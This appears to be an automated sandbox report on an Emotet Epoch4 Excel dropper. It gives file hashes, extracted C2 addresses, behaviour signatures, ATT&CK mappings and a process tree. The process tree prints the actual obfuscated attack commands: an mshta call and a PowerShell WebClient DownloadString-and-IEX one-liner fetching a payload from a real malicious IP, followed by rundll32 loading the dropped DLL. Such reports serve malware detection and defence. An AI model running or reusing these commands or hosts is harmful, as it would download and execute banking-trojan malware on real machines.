emotet | 72c1af140f4064bf0f206acee07a9200f696dd467ba5ece31e5f854bf04c7466

General

Target

Form.xls
Size

47KB
MD5

3e649c0b1d927f74c6238b18c6fd8619
SHA1

072273302bd2d575877376020dc1cca46faf2baf
SHA256

72c1af140f4064bf0f206acee07a9200f696dd467ba5ece31e5f854bf04c7466
SHA512

f182349fb4c17125bec1d6f9534a21d758d23e650a87869b78766ea58e69a09379cf630eddfb39e4c815521a15412341156268a232249049c54813a68e7a963b

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/vvv/ppp/fe.png

Extracted

Family

emotet

Botnet

Epoch4

C2

51.15.4.22:443

173.214.173.220:8080

212.237.5.209:443

192.254.71.210:443

216.158.226.206:443

162.243.175.63:443

212.24.98.99:8080

58.227.42.236:80

45.118.115.99:8080

104.251.214.46:8080

185.157.82.209:8080

46.55.222.11:443

188.40.137.206:8080

81.0.236.90:443

103.75.201.2:443

129.232.188.93:443

195.154.133.20:443

159.8.59.82:8080

79.172.212.216:8080

138.185.72.26:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2152	3260	CMD.EXE	EXCEL.EXE

Blocklisted process makes network request 4 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

39 2232 mshta.exe
44 1776 powershell.exe
46 1776 powershell.exe
49 2860 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1124 rundll32.exe
3896 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Gfduqefx\arxptyzkifnl.nlb rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2676 2232 WerFault.exe mshta.exe

flow	pid	process
39	2232	mshta.exe
44	1776	powershell.exe
46	1776	powershell.exe
49	2860	rundll32.exe

pid	process
1124	rundll32.exe
3896	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Gfduqefx\arxptyzkifnl.nlb	rundll32.exe

pid	pid_target	process	target process
2676	2232	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3260 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	process
1776	powershell.exe
1776	powershell.exe
2676	WerFault.exe
2676	WerFault.exe
2676	WerFault.exe
2676	WerFault.exe
2676	WerFault.exe
2676	WerFault.exe
2676	WerFault.exe
2676	WerFault.exe
2676	WerFault.exe
2676	WerFault.exe
2676	WerFault.exe
2676	WerFault.exe
2676	WerFault.exe
2676	WerFault.exe
1776	powershell.exe
2860	rundll32.exe
2860	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 1776 powershell.exe
Token: SeDebugPrivilege 2676 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	1776	powershell.exe
Token: SeDebugPrivilege	2676	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
3260	EXCEL.EXE
3260	EXCEL.EXE
3260	EXCEL.EXE
3260	EXCEL.EXE
3260	EXCEL.EXE
3260	EXCEL.EXE
3260	EXCEL.EXE
3260	EXCEL.EXE
3260	EXCEL.EXE
3260	EXCEL.EXE
3260	EXCEL.EXE
3260	EXCEL.EXE
3260	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 3260 wrote to memory of 2152	3260	EXCEL.EXE	CMD.EXE
PID 3260 wrote to memory of 2152	3260	EXCEL.EXE	CMD.EXE
PID 2152 wrote to memory of 2232	2152	CMD.EXE	mshta.exe
PID 2152 wrote to memory of 2232	2152	CMD.EXE	mshta.exe
PID 2232 wrote to memory of 1776	2232	mshta.exe	powershell.exe
PID 2232 wrote to memory of 1776	2232	mshta.exe	powershell.exe
PID 1776 wrote to memory of 2672	1776	powershell.exe	cmd.exe
PID 1776 wrote to memory of 2672	1776	powershell.exe	cmd.exe
PID 2672 wrote to memory of 1124	2672	cmd.exe	rundll32.exe
PID 2672 wrote to memory of 1124	2672	cmd.exe	rundll32.exe
PID 2672 wrote to memory of 1124	2672	cmd.exe	rundll32.exe
PID 1124 wrote to memory of 3896	1124	rundll32.exe	rundll32.exe
PID 1124 wrote to memory of 3896	1124	rundll32.exe	rundll32.exe
PID 1124 wrote to memory of 3896	1124	rundll32.exe	rundll32.exe
PID 3896 wrote to memory of 1824	3896	rundll32.exe	rundll32.exe
PID 3896 wrote to memory of 1824	3896	rundll32.exe	rundll32.exe
PID 3896 wrote to memory of 1824	3896	rundll32.exe	rundll32.exe
PID 1824 wrote to memory of 2860	1824	rundll32.exe	rundll32.exe
PID 1824 wrote to memory of 2860	1824	rundll32.exe	rundll32.exe
PID 1824 wrote to memory of 2860	1824	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Form.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3260

C:\Windows\SYSTEM32\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2152

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/vvv/ppp/fe.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2232

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1776

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
5⤵
- Suspicious use of WriteProcessMemory
PID:2672

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1124

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3896

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Gfduqefx\arxptyzkifnl.nlb",nYljsHJaduh
8⤵
- Suspicious use of WriteProcessMemory
PID:1824

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Gfduqefx\arxptyzkifnl.nlb",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:2860

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2232 -s 1964
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2676

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\ProgramData\QWER.dll
MD5
97daeda7d5269be2a567138e6ed876fe

SHA1
ce707e51f782320a38f0bb434277edcc4394abbb

SHA256
918b972486087dfd6d7ad348771617d9c9a45a7dc9ed5ce48b525e2ceb70da7f

SHA512
1c7a1b4d13e874dc6359d4bbcf8c0d5efd6ec8143daebd8b512c3f3b6fc6da2666feba404ac4c73fae91229ae541856c94a52d7e707acc593af44b89eb8901be

Download Submit
\ProgramData\QWER.dll
MD5
97daeda7d5269be2a567138e6ed876fe

SHA1
ce707e51f782320a38f0bb434277edcc4394abbb

SHA256
918b972486087dfd6d7ad348771617d9c9a45a7dc9ed5ce48b525e2ceb70da7f

SHA512
1c7a1b4d13e874dc6359d4bbcf8c0d5efd6ec8143daebd8b512c3f3b6fc6da2666feba404ac4c73fae91229ae541856c94a52d7e707acc593af44b89eb8901be

Download Submit
\ProgramData\QWER.dll
MD5
97daeda7d5269be2a567138e6ed876fe

SHA1
ce707e51f782320a38f0bb434277edcc4394abbb

SHA256
918b972486087dfd6d7ad348771617d9c9a45a7dc9ed5ce48b525e2ceb70da7f

SHA512
1c7a1b4d13e874dc6359d4bbcf8c0d5efd6ec8143daebd8b512c3f3b6fc6da2666feba404ac4c73fae91229ae541856c94a52d7e707acc593af44b89eb8901be

Download Submit
memory/1124-322-0x00000000040B0000-0x00000000040D5000-memory.dmp

Filesize
148KB

Download
memory/1776-310-0x0000015936040000-0x00000159360B6000-memory.dmp

Filesize
472KB

Download
memory/1776-315-0x000001591BA50000-0x000001591BB48000-memory.dmp

Filesize
992KB

Download
memory/1776-278-0x000001591D970000-0x000001591D992000-memory.dmp

Filesize
136KB

Download
memory/1776-294-0x000001591BA50000-0x000001591BB48000-memory.dmp

Filesize
992KB

Download
memory/1776-295-0x000001591BA50000-0x000001591BB48000-memory.dmp

Filesize
992KB

Download
memory/1776-299-0x0000015935F80000-0x0000015935FBC000-memory.dmp

Filesize
240KB

Download
memory/1824-337-0x0000000003650000-0x0000000003675000-memory.dmp

Filesize
148KB

Download
memory/2860-346-0x00000000055D0000-0x00000000055F5000-memory.dmp

Filesize
148KB

Download
memory/2860-361-0x0000000005950000-0x0000000005975000-memory.dmp

Filesize
148KB

Download
memory/2860-348-0x00000000056B0000-0x00000000056D5000-memory.dmp

Filesize
148KB

Download
memory/2860-344-0x00000000054F0000-0x0000000005515000-memory.dmp

Filesize
148KB

Download
memory/2860-341-0x00000000034F0000-0x0000000003515000-memory.dmp

Filesize
148KB

Download
memory/2860-350-0x0000000005790000-0x00000000057B5000-memory.dmp

Filesize
148KB

Download
memory/2860-352-0x0000000005870000-0x0000000005895000-memory.dmp

Filesize
148KB

Download
memory/3260-117-0x00007FFB38F60000-0x00007FFB38F70000-memory.dmp

Filesize
64KB

Download
memory/3260-383-0x00007FFB38F60000-0x00007FFB38F70000-memory.dmp

Filesize
64KB

Download
memory/3260-382-0x00007FFB38F60000-0x00007FFB38F70000-memory.dmp

Filesize
64KB

Download
memory/3260-381-0x00007FFB38F60000-0x00007FFB38F70000-memory.dmp

Filesize
64KB

Download
memory/3260-129-0x00007FFB36410000-0x00007FFB36420000-memory.dmp

Filesize
64KB

Download
memory/3260-116-0x00007FFB38F60000-0x00007FFB38F70000-memory.dmp

Filesize
64KB

Download
memory/3260-384-0x00007FFB38F60000-0x00007FFB38F70000-memory.dmp

Filesize
64KB

Download
memory/3260-118-0x00007FFB38F60000-0x00007FFB38F70000-memory.dmp

Filesize
64KB

Download
memory/3260-119-0x00007FFB38F60000-0x00007FFB38F70000-memory.dmp

Filesize
64KB

Download
memory/3260-115-0x00007FFB38F60000-0x00007FFB38F70000-memory.dmp

Filesize
64KB

Download
memory/3260-128-0x00007FFB36410000-0x00007FFB36420000-memory.dmp

Filesize
64KB

Download
memory/3896-328-0x0000000004B10000-0x0000000004B35000-memory.dmp

Filesize
148KB

Download
memory/3896-340-0x0000000004FC0000-0x0000000004FE5000-memory.dmp

Filesize
148KB

Download
memory/3896-336-0x0000000004E10000-0x0000000004E35000-memory.dmp

Filesize
148KB

Download
memory/3896-334-0x0000000004DB0000-0x0000000004DD5000-memory.dmp

Filesize
148KB

Download
memory/3896-332-0x0000000004D50000-0x0000000004D75000-memory.dmp

Filesize
148KB

Download
memory/3896-330-0x0000000004BF0000-0x0000000004C15000-memory.dmp

Filesize
148KB

Download
memory/3896-325-0x0000000002CB0000-0x0000000002CD5000-memory.dmp

Filesize
148KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads